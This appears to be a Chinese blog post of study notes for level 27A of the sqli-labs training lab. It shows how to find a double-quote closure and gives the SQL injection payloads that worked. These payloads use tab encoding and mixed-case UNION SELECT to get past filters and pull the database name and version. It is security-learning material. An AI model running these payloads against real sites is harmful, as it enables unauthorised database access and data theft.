sqllab第二十七A关通关笔记

知识点:

  • 双引号闭合
  • union select 大小写绕过
    • Union Select
  • 这里不能进行错误注入,无回显

经过测试发现这是一个双引号闭合

构造payload:id=1"%09and%091="1

页面成功回显

构造payload:id=0"%09uNion%09SElect%091,2,3%09"1

页面成功回显除了输入内容

获取数据库名和版本信息

构造payload:id=0"%09uNion%09SElect%091,database(),version()%09"1

成功获取了数据库名和版本信息

10

相关推荐
疯狂打码的少年9 小时前
【软件工程】软件质量保证(ISO/IEC 9126质量特性)
笔记
龙仔72511 小时前
SQL Server OS_Core 数据库全自动备份【完整笔记·可直接复用】
数据库·笔记·oracle
殷忆枫12 小时前
AI笔记三十七:AI边缘端道桥安全监测系统:YOLOv8n推理与Web监控全解析
笔记·yolo
逸模13 小时前
轻加盟模式,稳住品牌统一调性的思路
笔记·建模·公装·翻模·交底
whyTeaFo13 小时前
GAMES101: Lecture 10: Geometry 1 (Introduction) ppt笔记
笔记
sulikey14 小时前
个人Linux操作系统学习笔记11 - 环境变量
linux·笔记·学习
ysa05103015 小时前
【板子】拓扑序计数
c++·笔记·算法·板子
依然范特东15 小时前
强化学习笔记2--bellman equation
人工智能·笔记
乐观勇敢坚强的老彭16 小时前
信奥C++一维数组笔记
开发语言·c++·笔记
昕光xg16 小时前
Istio笔记04-基于Jaeger的分布式链路追踪
笔记·分布式·istio